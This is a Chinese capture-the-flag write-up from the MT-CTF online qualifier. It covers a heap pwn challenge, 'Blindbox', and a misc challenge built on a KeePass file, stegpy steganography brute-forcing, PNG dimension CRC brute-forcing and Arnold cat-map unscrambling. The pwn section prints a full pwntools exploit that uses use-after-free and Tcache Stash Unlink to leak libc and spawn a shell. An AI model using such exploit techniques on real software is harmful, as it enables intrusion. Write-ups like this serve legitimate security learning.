高校挑战赛 | MT-CTF线上初赛WriteUp

分析过程

分析程序可以发现第一部分mmap出来的内存可以用来构造堆布局，因为这块内存的地址是能够知道的，并且在程序开始能够写入一些内容。

程序程序在正常分配堆块时能够分配的大小只有三种，并且是通过calloc分配，也就是不从tcache中取堆块。但是有一次malloc的机会，因此可以利用这次malloc从tcache取堆块。

漏洞可以进行uaf，在堆块释放后仍可以编辑和查看。但是在查看进行了过滤，不能输出带有0x7f的内容，因此这就增大了直接泄露libc地址的难度。

利用流程，先布置合适的布局，修改small bin让其bk指向mmap内存的fake chunk，通过calloc不从tcache中取堆块的特征利用Tcache Stash Unlink将fake chunk放到tcache中，利用仅有的一次malloc分配得到fake chunk，继续布置新的堆布局。再利用一次Tcache Stash Unlink在偏移三字节的地方写入一个libc地址，然后就可以输出不带0x7f的libc地址了。有了libc地址再玩一个猜数字的游戏就可以get shell。

exp.py

#encoding:utf-8
from?pwn?import?*

pwn_file?=?'./ld-2.31.so?--library-path?./?./Blindbox'
p?=?process(pwn_file.split())
#context.log_level?=?'debug'
libc?=?ELF('./libc-2.31.so')

p.recvuntil(b"Please?tell?me?your?name:\n")
p.send(p64(0)?+?p64(0x66666000-0x8)?+?p64(0)?+?p64(0))
p.recvuntil(b"lucky?number?\n")
p.sendline(str(0x90).encode())
p.recvuntil(b"lucky?number?\n")
p.sendline(str(0xa0).encode())
p.recvuntil(b"lucky?number?\n")
p.sendline(str(0x140).encode())
randNum?=?[1804289383,?846930886,?1681692777,?1714636915,?1957747793,?424238335,?719885386,?1649760492]

def?add(idx,?num):
????p.recvuntil(b">>?")
????p.sendline(b'1')
????p.recvuntil(b"want?to?choose\n")
????p.sendline(str(num).encode())
????p.recvuntil(b"Blindbox(1-3):")
????p.sendline(str(idx).encode())

def?dele(idx):
????p.recvuntil(b">>?")
????p.sendline(b'2')
????p.recvuntil(b"Which?index?do?you?want?to?drop?\n")
????p.sendline(str(idx).encode())

def?show(idx):
????p.recvuntil(b">>?")
????p.sendline(b'3')
????p.recvuntil(b"want?to?open?\n")
????p.sendline(str(idx).encode())

def?edit(idx,?content):
????p.recvuntil(b">>?")
????p.sendline(b'4')
????p.recvuntil(b"want?to?change?\n")
????p.sendline(str(idx).encode())
????p.recvuntil(b"New?content:\n")
????p.send(content)

def?wish(content):
????p.recvuntil(b">>?")
????p.sendline(b'5')
????p.recvuntil(b"your?wish:?")
????p.send(content)

def?pay(key):
????p.recvuntil(b">>?")
????p.sendline(b'6')
????for?i?in?range(8):
????????p.recvuntil(b"Please?guess>")
????????p.sendline(str(randNum[i]^key).encode())
????
for?i?in?range(4):
????add(1,?1)
????dele(1)
for?i?in?range(7):
????add(1,?0x3)
????dele(1)
????add(1,?0x2)
????dele(1)

add(1,?3)
add(2,?2)
dele(1)
add(1,?2)

add(1,?3)
add(2,?2)
dele(1)?
add(1,?2)

add(1,2)
add(3,2)
dele(3)
dele(1)

add(1,?3)
add(2,?3)
dele(1)
add(1,2)
add(1,2)

edit(3,?p64(0)?+?p64(0x66666000?-?0x10))
add(1,?1)
payload?=??p64(0xaf)?+?p64(0)?+?p64(0x66666008)?
payload?+=?p64(0x66666008?-?0x10)?+?p64(0x66666008?-?0x10?+?3)?+?p64(0)
payload?+=?b'\x00'?*?0x60
wish(payload)

add(1,?1)
show(1)
p.recvuntil(b'Blindbox:?\x00\x00\x00')
main_arena?=?u64((p.recv(5)?+?b'\x7f').ljust(8,?b'\x00'))
libc_base?=?main_arena?-?0x1EBC70
print(hex(libc_base))
key?=?libc_base?+?libc.sym['system']
pay(key)

p.interactive()

KeePass加密

识别Database文件

访问https://keepass.info/?下载keepass，空密码查看

把压缩包提出来，然后把图片中压缩包地方给删掉。

stegpy隐写爆破

通过stegsolve可以确定是颜色通道最低两位的隐写，而stegpy则是这种隐写方式。

解密需要密码，可以写脚本交互爆破，同时根据图片名boom，也联想到爆破。

#!/usr/bin/env?python3

#?Module?for?processing?images,?audios?and?the?least?significant?bits.

import?numpy
from?PIL?import?Image
from?.?import?crypt

MAGIC_NUMBER?=?b'stegv3'

class?HostElement:
????"""?This?class?holds?information?about?a?host?element.?"""
????def?__init__(self,?filename):
????????self.filename?=?filename
????????self.format?=?filename[-3:]
????????self.header,?self.data?=?get_file(filename)

????def?save(self):
????????self.filename?=?'_'?+?self.filename
????????if?self.format.lower()?==?'wav':
????????????sound?=?numpy.concatenate((self.header,?self.data))
????????????sound.tofile(self.filename)
????????elif?self.format.lower()?==?'gif':
????????????gif?=?[]
????????????for?frame,?palette?in?zip(self.data,?self.header[0]):
????????????????image?=?Image.fromarray(frame)
????????????????image.putpalette(palette)
????????????????gif.append(image)
????????????gif[0].save(self.filename,?save_all=True,?append_images?=?gif[1:],?loop=0,?duration=self.header[1])
????????else:
????????????if?not?self.filename.lower().endswith(('png',?'bmp',?'webp')):
????????????????print("Host?has?a?lossy?format?and?will?be?converted?to?PNG.")
????????????????self.filename?=?self.filename[:-3]?+?'png'
????????????image?=?Image.fromarray(self.data)
????????????image.save(self.filename,?lossless=True,?minimize_size=True,?optimize=True)
????????print("Information?encoded?in?{}.".format(self.filename))
????
????def?insert_message(self,?message,?bits=2,?parasite_filename=None,?password=None):
????????raw_message_len?=?len(message).to_bytes(4,?'big')
????????formatted_message?=?format_message(message,?raw_message_len,?parasite_filename)
????????if?password:
????????????formatted_message?=?crypt.encrypt_info(password,?formatted_message)
????????self.data?=?encode_message(self.data,?formatted_message,?bits)
????
????def?read_message(self,?password=None):
????????msg?=?decode_message(self.data)
????????
????????if?password:
????????????try:
????????????????salt?=?bytes(msg[:16])
????????????????msg?=?crypt.decrypt_info(password,?bytes(msg[16:]),?salt)
????????????except:
????????????????return("Wrong?password.")
????
????????check_magic_number(msg)
????????msg_len?=?int.from_bytes(bytes(msg[6:10]),?'big')
????????filename_len?=?int.from_bytes(bytes(msg[10:11]),?'big')
????
????????start?=?filename_len?+?11
????????end?=?start?+?msg_len
????????end_filename?=?filename_len?+?11
????????if(filename_len?>?0):
????????????filename?=?'_'?+?bytes(msg[11:end_filename]).decode('utf-8')
????????
????????else:
????????????text?=?bytes(msg[start:end]).decode('utf-8')
????????????print(text)
????????????return
????
????????with?open(filename,?'wb')?as?f:
????????????f.write(bytes(msg[start:end]))
????
????????print('File?{}?succesfully?extracted?from?{}'.format(filename,?self.filename))
????
????def?free_space(self,?bits=2):
????????shape?=?self.data.shape
????????self.data.shape?=?-1
????????free?=?self.data.size?*?bits?//?8
????????self.data.shape?=?shape
????????self.free?=?free
????????return?free
????
????def?print_free_space(self,?bits=2):
????????free?=?self.free_space(bits)
????????print('File:?{},?free:?(bytes)?{:,},?encoding:?4?bit'.format(self.filename,?free,?bits))

def?get_file(filename):
????'''?Returns?data?from?file?in?a?list?with?the?header?and?raw?data.?'''
????if?filename.lower().endswith('wav'):
????????content?=?numpy.fromfile(filename,?dtype=numpy.uint8)
????????content?=?content[:10000],?content[10000:]
????elif?filename.lower().endswith('gif'):
????????image?=?Image.open(filename)
????????frames?=?[]
????????palettes?=?[]
????????try:
????????????while?True:
????????????????frames.append(numpy.array(image))
????????????????palettes.append(image.getpalette())
????????????????image.seek(image.tell()+1)
????????except?EOFError:
????????????pass
????????content?=?[palettes,?image.info['duration']],?numpy.asarray(frames)
????else:
????????image?=?Image.open(filename)
????????if?image.mode?!=?'RGB':
????????????image?=?image.convert('RGB')
????????content?=?None,?numpy.array(image)
????return?content

def?format_message(message,?msg_len,?filename=None):
????if?not?filename:?#?text
????????message?=?MAGIC_NUMBER?+?msg_len?+?(0).to_bytes(1,?'big')?+?message
????else:
????????filename?=?filename.encode('utf-8')
????????filename_len?=?len(filename).to_bytes(1,?'big')
????????message?=?MAGIC_NUMBER?+?msg_len?+?filename_len?+?filename?+?message
????return?message;

def?encode_message(host_data,?message,?bits):
????'''?Encodes?the?byte?array?in?the?image?numpy?array.?'''
????shape?=?host_data.shape
????host_data.shape?=?-1,?#?convert?to?1D
????uneven?=?0
????divisor?=?8?//?bits

????print("Host?dimension:?{:,}?bytes".format(host_data.size))
????print("Message?size:?{:,}?bytes".format(len(message)))
????print("Maximum?size:?{:,}?bytes".format(host_data.size?//?divisor))
????
????check_message_space(host_data.size?//?divisor,?len(message))
?????
????if(host_data.size?%?divisor?!=?0):?#?Hacky?way?to?deal?with?pixel?arrays?that?cannot?be?divided?evenly
????????uneven?=?1
????????original_size?=?host_data.size
????????host_data?=?numpy.resize(host_data,?host_data.size?+?(divisor?-?host_data.size?%?divisor))
????
????msg?=?numpy.zeros(len(host_data)?//?divisor,?dtype=numpy.uint8)
????
????msg[:len(message)]?=?list(message)
????
????host_data[:divisor*len(message)]?&=?256?-?2?**?bits?#?clear?last?bit(s)
????for?i?in?range(divisor):
????????host_data[i::divisor]?|=?msg?>>?bits*i?&?(2?**?bits?-?1)?#?copy?bits?to?host_data
????
????operand?=?(0?if?(bits?==?1)?else?(16?if?(bits?==?2)?else?32))
????host_data[0]?=?(host_data[0]?&?207)?|?operand?#?5th?and?6th?bits?=?log_2(bits)
????
????if?uneven:
????????host_data?=?numpy.resize(host_data,?original_size)
????
????host_data.shape?=?shape?#?restore?the?3D?shape
????
????return?host_data

def?check_message_space(max_message_len,?message_len):
????'''?Checks?if?there's?enough?space?to?write?the?message.?'''
????if(max_message_len?<?message_len):
????????print('You?have?too?few?colors?to?store?that?message.?Aborting.')
????????exit(-1)
????else:
????????print('Ok.')

def?decode_message(host_data):
????'''?Decodes?the?image?numpy?array?into?a?byte?array.?'''
????host_data.shape?=?-1,?#?convert?to?1D
????bits?=?2?**?((host_data[0]?&?48)?>>?4)?#?bits?=?2?^?(5th?and?6th?bits)????
????divisor?=?8?//?bits

????if(host_data.size?%?divisor?!=?0):
????????host_data?=?numpy.resize(host_data,?host_data.size?+?(divisor?-?host_data.size?%?divisor))
????
????msg?=?numpy.zeros(len(host_data)?//?divisor,?dtype=numpy.uint8)
????
????for?i?in?range(divisor):
????????msg?|=?(host_data[i::divisor]?&?(2?**?bits?-?1))?<<?bits*i
????
????return?msg

def?check_magic_number(msg):
????if?bytes(msg[0:6])?!=?MAGIC_NUMBER:
????????print(bytes(msg[:6]))
????????print('ERROR!?No?encoded?info?found!')
????????exit(-1)

if?__name__?==?'__main__':
????message?=?'hello'.encode('utf-8')
????host?=?HostElement('gif.gif')
????host.insert_message(message,?bits=4)
????host.save()

此脚本为原python库 stegpy脚本修改，主要改动读取隐写信息函数read_message一段，命名为lsb2.py，放在stegpy库目录下/usr/local/lib/python3.6/dist-packages/stegpy

网上找常见的弱口令字典进行爆破

#coding=utf-8
from?stegpy?import?lsb2

host?=?lsb2.HostElement('flag.png')
dic?=?open('password1.txt').readlines()

for?i?in?range(len(dic)):
????tmp?=?host.read_message(dic[i][:-1])
????if?tmp?!=?"Wrong?password.":
????????break
????else:
????????print(i,?dic[i][:-1])

爆破得到密码是123123@@@

隐写内容是783d793c313030

解开压缩包得到一张图片，无法正常观看。

import?zlib
import?struct

filename?=?'flag.png'
with?open(filename,?'rb')?as?f:
????all_b?=?f.read()
????crc32key?=?int(all_b[29:33].hex(),16)
????data?=?bytearray(all_b[12:29])
????n?=?4095????????????#理论上0xffffffff,但考虑到屏幕实际/cpu，0x0fff就差不多了
????for?w?in?range(n):??????????#高和宽一起爆破
????????width?=?bytearray(struct.pack('>i',?w))?????#q为8字节，i为4字节，h为2字节
????????for?h?in?range(n):
????????????height?=?bytearray(struct.pack('>i',?h))
????????????for?x?in?range(4):
????????????????data[x+4]?=?width[x]
????????????????data[x+8]?=?height[x]
????????????crc32result?=?zlib.crc32(data)
????????????if?crc32result?==?crc32key:
????????????????print("宽为：",end="")
????????????????print(width)
????????????????print("高为：",end="")
????????????????print(height)
????????????????exit(0)

一个明显置乱后的图像，存在很明显的阿诺德置乱特征：

有了加密变换，还需要使用对应的解密变换，也就是逆变换。逆变换就是“求矩阵的逆”，对2x2的矩阵求逆就能得到下面的逆变换矩阵：

Arnold置乱算法

谷歌上搜置乱算法可以搜到一个叫做Arnold（阿诺德）置乱法的方法，之前得到的隐写内容783d793c313030转字符串为x=y<100，第一个参数可以通过增大还原次数，后两个参数需要根据提示爆破。

https://en.wikipedia.org/wiki/Arnold%27s_cat_map

所需库先自行安装

pip3?install?numpy
pip3?install?opencv-python
pip3?install?matplotlib
pip3?install?*scikit-image*

根据提示x=y<100，编写解密脚本

import?numpy?as?np
import?matplotlib.pyplot
from?skimage.io?import?imread,?imshow
import?time
import?math
import?cv2

def?arnold_decode(image,?shuffle_times,?a,?b):
????decode_image?=?np.zeros(shape=image.shape)
????h,?w?=?image.shape[0],?image.shape[1]
????N?=?h?#?或N=w
????for?time?in?range(shuffle_times):
????????for?ori_x?in?range(h):
????????????for?ori_y?in?range(w):
????????????????new_x?=?((a*b+1)*ori_x?+?(-b)*?ori_y)%?N
????????????????new_y?=?((-a)*ori_x?+?ori_y)?%?N
????????????????decode_image[new_x,?new_y]?=?image[ori_x,?ori_y]
????cv2.imshow("image",decode_image)
????cv2.waitKey(10)
????cv2.imwrite(i,decode_image)
????return?decode_image
final?=?imread('flag.png')

for?z?in?range(0,100):
????i?=?str(z)?+?'.png'
????arnold_decode(final,?10,?z,z)

爆破到30时得到flag